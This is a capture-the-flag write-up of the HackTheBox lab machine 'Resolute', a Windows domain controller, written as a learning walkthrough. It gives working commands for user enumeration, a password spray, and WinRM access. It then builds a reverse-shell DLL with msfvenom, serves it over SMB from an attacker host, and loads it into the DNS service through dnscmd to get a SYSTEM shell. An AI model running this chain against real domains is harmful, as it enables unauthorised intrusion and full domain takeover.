Skip to content

Resolute

Field Value
Platform HackTheBox
OS Windows Server 2016 Standard (Domain Controller)
Difficulty Easy
Initial Vector RID brute-force → password in user description → password spray → WinRM shell
Privesc PowerShell transcript credential leak → DnsAdmins DLL injection → SYSTEM shell

Phase 1 — Reconnaissance

I started with a fast SYN sweep across all TCP ports, then ran a focused version and script scan against the discovered ports.

nmap -sS -n -Pn --min-rate 5000 -p- 10.129.96.155 -oG ports
nmap -sV -sC -n -Pn --min-rate 5000 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49670,49676,49677,49686,49820,50264 10.129.96.155 -oN services
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-17 02:19:46Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, ...)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, ...)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       .NET Message Framing

Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
smb2-security-mode: Message signing enabled and required
clock-skew: mean: 2h25m51s, median: 5m50s
Port Service Version Notes
53 DNS Simple DNS Plus Domain: megabank.local
88 Kerberos Confirms Domain Controller
139/445 SMB Windows Server 2016 Std 14393 Signing required
389/3268 LDAP Domain: megabank.local
5985 WinRM HTTPAPI 2.0 Shell entry point
9389 mc-nmf .NET Message Framing AD Web Services

Kerberos on 88 and LDAP on 389 confirmed a Domain Controller. The domain megabank.local and hostname RESOLUTE were both leaked — the former via LDAP banner, the latter via the SMB smb-os-discovery script output. SMB signing required on 445 ruled out relay attacks. Clock skew was under 6 minutes at median, so Kerberos operations could proceed without correction. I added the domain to /etc/hosts before continuing.

echo "10.129.96.155 megabank.local" >> /etc/hosts

Phase 2 — Service Enumeration

SMB (445)

I started with null and guest session checks, then moved directly to user enumeration since share access was expected to be locked down.

nxc smb 10.129.96.155 -u '' -p '' --shares
nxc smb 10.129.96.155 -u 'Guest' -p '' --shares
# [-] Error enumerating shares: STATUS_ACCESS_DENIED
# [-] megabank.local\Guest: STATUS_ACCOUNT_DISABLED

Share access was denied, but RID brute-forcing over the null session succeeded — a common misconfiguration where anonymous pipe access to IPC$ is permitted even when share browsing is not. I built a clean user list from the output.

nxc smb 10.129.96.155 -u '' -p '' --users --rid-brute | grep 'RESOLUTE' | grep -v '\[' | grep -v '\-Username\-' | awk '{print $5}' > users.txt
Screenshot

With a user list in hand I used rpcclient to enumerate group memberships and run querydispinfo, which dumps a summary of all user accounts including their description fields. Description fields are frequently used by administrators to note account details — and are often left uncleared after initial provisioning.

rpcclient -U "" -N 10.129.96.155
enumdomusers
querygroupmem 0x200
queryuser 0x1f4
querydispinfo
Screenshot

querydispinfo returned a description field for marko that contained a plaintext credential left over from account provisioning.

index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko  Name: Marko Novak  Desc: Account created. Password set to Welcome123!

Credentials in user description fields are a classic AD misconfiguration — they are readable by any authenticated or in some cases unauthenticated session, and admins routinely forget to clear them after onboarding. rpcclient also confirmed Administrator as the only Domain Admin.


Kerberos (88)

With a full user list I validated all accounts against the KDC with kerbrute before attempting any roasting attacks.

kerbrute userenum -d megabank.local --dc 10.129.96.155 users.txt
Screenshot

All accounts were confirmed valid. I then checked for AS-REP roastable accounts — none had pre-authentication disabled.

GetNPUsers.py -usersfile users.txt -request -dc-ip 10.129.96.155 'megabank.local/'
Screenshot

AS-REP roasting yielded nothing. I attempted Kerberoasting with the marko credentials, but authentication failed — the password had already been changed since the description was written.

GetUserSPNs.py megabank.local/marko:'Welcome123!' -dc-ip 10.129.96.155 -request
# [-] Error in bindRequest -> invalidCredentials

The credential was still valid somewhere else. I sprayed Welcome123! across the full user list to find any account where it had not been rotated.

nxc smb 10.129.96.155 -u users.txt -p 'Welcome123!'
Screenshot

melanie still had the default password set. Credentials confirmed: melanie : Welcome123!. I verified Kerberoasting with these credentials as well — no SPNs found.

GetUserSPNs.py megabank.local/melanie:'Welcome123!' -dc-ip 10.129.96.155 -request
# No entries found!

I re-enumerated shares as melanieIPC$, NETLOGON, and SYSVOL were readable but contained nothing actionable.


WinRM (5985)

I verified melanie could authenticate over WinRM before opening a shell.

nxc winrm 10.129.96.155 -u 'melanie' -p 'Welcome123!'
# [+] megabank.local\melanie:Welcome123! (Pwn3d!)

Phase 3 — Attack Path

Initial Access

I opened an interactive shell as melanie over WinRM.

evil-winrm -i 10.129.96.155 -u 'melanie' -p 'Welcome123!'

Post-Shell Enumeration

I ran standard enumeration commands to assess the current privilege context and identify other accounts on the machine.

whoami /all
whoami /priv
net user
net localgroup administrators
Screenshot

melanie's token showed no abusable privileges. The user flag was retrieved from C:\Users\melanie\Desktop\user.txt.

Screenshot
Screenshot

C:\Users contained a folder for ryan that melanie could not access. Standard enumeration of C:\ appeared normal — PerfLogs, Program Files, Users, Windows. Forcing hidden item visibility revealed an additional directory that was not listed by default.

dir -Force
d--h--  12/3/2019   6:32 AM  PSTranscripts

PSTranscripts is a directory created when PowerShell transcription logging is enabled — it stores full text logs of every PowerShell session, including commands run and their output. It is frequently overlooked during hardening because it does not appear in standard directory listings. I navigated into it and found a single transcript file.

cd PSTranscripts\20191203
dir -Force
-arh--  12/3/2019   6:45 AM  3732  PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
Screenshot
type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
Screenshot

The transcript contained a plaintext credential for ryan embedded in a net use command that was run during the logged session. PowerShell transcripts capture command arguments verbatim, meaning any credential passed as a plaintext flag is permanently recorded to disk.

Credentials recovered: ryan : Serv3r4Admin4cc123!. I validated them over SMB.

nxc smb 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'
# [+] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)

Lateral Movement

psexec.py failed because none of the shares were writable by ryan. I fell back to WinRM.

nxc winrm 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'
# [+] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)
evil-winrm -i 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'

ryan's desktop contained a note.txt warning that any system changes (except those to the Administrator account) would be automatically reverted within one minute — relevant context for the next phase.

Screenshot
whoami /all

ryan's token showed no directly abusable privileges, but group membership revealed something critical.

Screenshot

ryan was a member of MEGABANK\DnsAdmins. BloodHound confirmed the full membership chain: ryanContractorsDnsAdmins.

Screenshot

Privilege Escalation

Vector: DnsAdmins DLL injection via dnscmd

Members of the DnsAdmins group can configure the DNS service to load a plugin DLL at startup using dnscmd /config /serverlevelplugindll. The DNS service runs as NT AUTHORITY\SYSTEM, so any DLL it loads executes with full system privileges. The DLL path can point to a UNC share on the attacker's machine — the DNS service will fetch and execute it when restarted.

I generated a reverse shell DLL with msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.80 LPORT=3312 -f dll -o KasaneHackto.dll

I served it over SMB from the attack machine so the DNS service could reach it via UNC path.

smbserver.py smbFolder $(pwd) -smb2support

From within ryan's WinRM shell I configured the DNS service to load the malicious DLL on next startup.

dnscmd.exe /config /serverlevelplugindll \\10.10.14.80\smbFolder\KasaneHackto.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.

I set up a listener on the attack machine, then stopped and restarted the DNS service to trigger DLL loading. The note found earlier warned about automatic rollbacks — restarting the service needed to happen promptly before the revert timer fired.

rlwrap nc -nvlp 3312
sc.exe stop dns
sc.exe start dns

The DNS service loaded the DLL and executed the reverse shell payload as NT AUTHORITY\SYSTEM.

Screenshot

The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.


Flags

Flag Path Value
User C:\Users\melanie\Desktop\user.txt FLAG{REDACTED}
Root C:\Users\Administrator\Desktop\root.txt FLAG{REDACTED}

Conclusion

  1. A two-phase Nmap scan identified a Windows Server 2016 DC with SMB, LDAP, Kerberos, and WinRM exposed; the domain megabank.local and hostname RESOLUTE were leaked via LDAP banner and SMB discovery scripts.
  2. Null session share access was denied, but RID brute-forcing enumerated the full domain user list; rpcclient's querydispinfo revealed a plaintext credential in marko's description field — Welcome123! — left over from account provisioning.
  3. marko's password had already been changed, but spraying Welcome123! across the user list identified melanie as still using the default credential; WinRM access was confirmed and a shell opened with the user flag retrieved.
  4. Forcing hidden file visibility in C:\ revealed a PSTranscripts directory; a PowerShell transcript log contained ryan's credential — ryan : Serv3r4Admin4cc123! — embedded in a plaintext net use command captured during a previous session.
  5. ryan was a member of DnsAdmins (via Contractors group, confirmed by BloodHound); a malicious reverse shell DLL was generated with msfvenom, served over SMB, and registered as a DNS service plugin via dnscmd /config /serverlevelplugindll.
  6. Restarting the DNS service triggered DLL loading under NT AUTHORITY\SYSTEM context, delivering a SYSTEM shell and the root flag.

The system fell because a provisioning credential was never cleared from a user description field, PowerShell transcription logging recorded another user's plaintext password to a hidden but readable directory, and a service account's membership in DnsAdmins allowed loading arbitrary code into a SYSTEM-level service — three credential exposures chaining into full domain compromise.